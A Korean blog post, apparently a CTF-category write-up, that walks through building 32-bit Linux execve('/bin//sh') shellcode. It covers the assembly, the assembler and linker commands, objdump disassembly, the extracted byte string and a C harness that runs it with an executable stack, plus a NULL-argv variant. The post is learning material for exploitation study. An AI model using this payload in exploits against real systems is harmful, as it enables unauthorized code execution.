본문 바로가기

CTF_Write_UP/etc

[Pwn] 나도 만들어봤다, 쉘코드!!

시작

안녕하세요 :D

1주일 동안 푹 쉬었습니다!! 시험 끝났는데 놀아야죠 ㅎㅎㅎ

오늘은 심심해서 쉘코드를 공부해보았어요. 이게 생각보다 어려운 녀석인 줄 알았는데 되게 간단하더라구요.

ROP나 SROP에서 많이 보였던 친구들이 나와서 반가웠습니다!!

시작해보죠

ShellCode

처음에 쉘코드는 똑똑이 분들이 만들어놓은 암호 코드?? 이런 것인줄 알았습니다.

딱 봐도 더럽게 생겼으니깐ㅎㅎ.. 근데 이게 삽질을 하다 보니 보이는 것들이 많더라구요.

일단 우리가 베이스로 깔고 갈 C 코드는 다음과 같습니다.

#include <stdio.h>

int main() {
        char *binsh[] = {"/bin//sh", 0};
        execve(binsh[0], &binsh, 0);
}

gcc로 -m32 옵션을 주어 32bit로 컴파일해보면 잘 실행되는 것을 확인할 수 있습니다.

root@goorm:/workspace/LCH_Server/posting/Lets_Make_Shellcode# ./shell
# whoami
root

execve(binsh[0], &binsh, 0); 이 코드를 어떻게 어셈으로 바꾸냐!!

32bit니깐 스택에 push push 하면 되겠죠??

.global _start

_start :

        xor %eax, %eax          #SET eax 0

        push %eax               #push NULL
        push $0x68732f2f        #push "//sh"
        push $0x6e69622f        #push "/bin"
        mov %esp, %ebx          #ebx = "/bin//sh"의 주소

        xor %edx, %edx          #SET edx 0

        push %edx               #push NULL
        push %ebx               #push "/bin//sh"의 주소
        mov %esp, %ecx          #ecx = "/bin//sh"의 주소를 가리키는 주소

        movb $0x0b, %al         #eax = 11
        int $0x80               #syscall

우선 xor로 eax를 초기화한 후 스택에 넣어줍니다.

그리고 스택에 /bin//sh를 넣어주네요. 왜 //sh를 쓰냐면 레지스터의 크기에 맞게 8 bytes를 맞춰주기 위해서입니다!!

이렇게 되면 esp/bin//sh의 시작 주소를 가리키겠죠? 얘를 ebx에 저장합니다.

다음으로 edx 레지스터를 0으로 초기화, 스택에 쌓아줍니다.

또 스택에 ebx를 넣는데요, 얘는 문자열의 시작 주소를 가리키는 포인터였죠?

이제 espebx를 가리키는 포인터, 즉 문자열의 시작을 가리키는 주소의 주소, 더블포인터!! 가 됩니다.

이 친구를 ecx에 넣어줘요.

그 이후 SROP에서 지겹게 했던 int 0x80으로 syscall합니다.

자.. 스택은 다음과 같이 형성됩니다.

---------------------
     0xbfff1008         ESP (=0xbfff1010 =ECX)
---------------------
        NULL
---------------------
       "/bin"           0xbfff1008 (=EBX)
---------------------
       "//sh"
---------------------
        NULL
---------------------

execve(binsh[0], &binsh, 0); 형태로 쌓아준 거에요.

얘를 잘 컴파일 해볼게요!!

as shellcode.s -o shellcode.o --32 : 오브젝트 파일로 컴파일합니다. 32bit 옵션을 줘야지 push 연산이 가능해요!!

ld shellcode.o -m elf_i386 -s -o shellcode : 실행 파일로 컴파일합니다. 마찬가지로 32bit 옵션을 주었어요.

root@goorm:/workspace/LCH_Server/posting/Lets_Make_Shellcode# ./shellcode
# whoami
root

잘 실행이 되네요. 얘를 objdump를 통해 opcode를 추출하면 끝입니다!!

root@goorm:/workspace/LCH_Server/posting/Lets_Make_Shellcode# objdump -d ./shellcode

./shellcode:     file format elf32-i386

Disassembly of section .text:

08048054 <.text>:
 8048054:       31 c0                   xor    %eax,%eax
 8048056:       50                      push   %eax
 8048057:       68 2f 2f 73 68          push   $0x68732f2f
 804805c:       68 2f 62 69 6e          push   $0x6e69622f
 8048061:       89 e3                   mov    %esp,%ebx
 8048063:       31 d2                   xor    %edx,%edx
 8048065:       52                      push   %edx
 8048066:       53                      push   %ebx
 8048067:       89 e1                   mov    %esp,%ecx
 8048069:       b0 0b                   mov    $0xb,%al
 804806b:       cd 80                   int    $0x80

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80

우리의 쉘코드가 완성됐습니다!!!

#include <stdio.h>

char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main() {
        (*(void (*)()) shellcode)();
}
root@goorm:/workspace/LCH_Server/posting/Lets_Make_Shellcode# gcc test.c -z execstack -m32 -o test
root@goorm:/workspace/LCH_Server/posting/Lets_Make_Shellcode# ./test
# whoami
root

스택 실행권한을 준 뒤 컴파일하면 정상적으로 쉘이 실행됩니다!! 재밌네요 ㅎㅎㅎ

 


 

7/15 추가

문득 ‘익스 때릴 땐 execve("/bin/sh", 0, 0)으로 넣지 않나?’ 란 생각이 들었습니다.

굳이 함수 원형대로 인자를 넣지 않고 2, 3번째엔 NULL을 떄려박았는데.. 이렇게 해도 쉘이 떨어질까요?

.global _start

_start :

        xor %eax, %eax

        push %eax
        push $0x68732f2f
        push $0x6e69622f
        mov %esp, %ebx

        xor %ecx, %ecx
        xor %edx, %edx

        push %ecx
        push %edx

        movb $0x0b, %al
        int $0x80
root@goorm:/workspace/LCH_Server/posting# ./test
# whoami
root

잘 되네요 ㅎㅎ 두 코드의 미묘한 차이점은 더 알아봐야 할 것 같습니다!!

마무리

쉘코드, 만들었습니다!! 생각보다 간단한네요 ㅋㅋㅋㅋ

execve() 함수가 살짝 복잡하지만 더블포인터라는 사실만 알고 있다면 쉽게 이해가 갑니다.

감사합니다 :D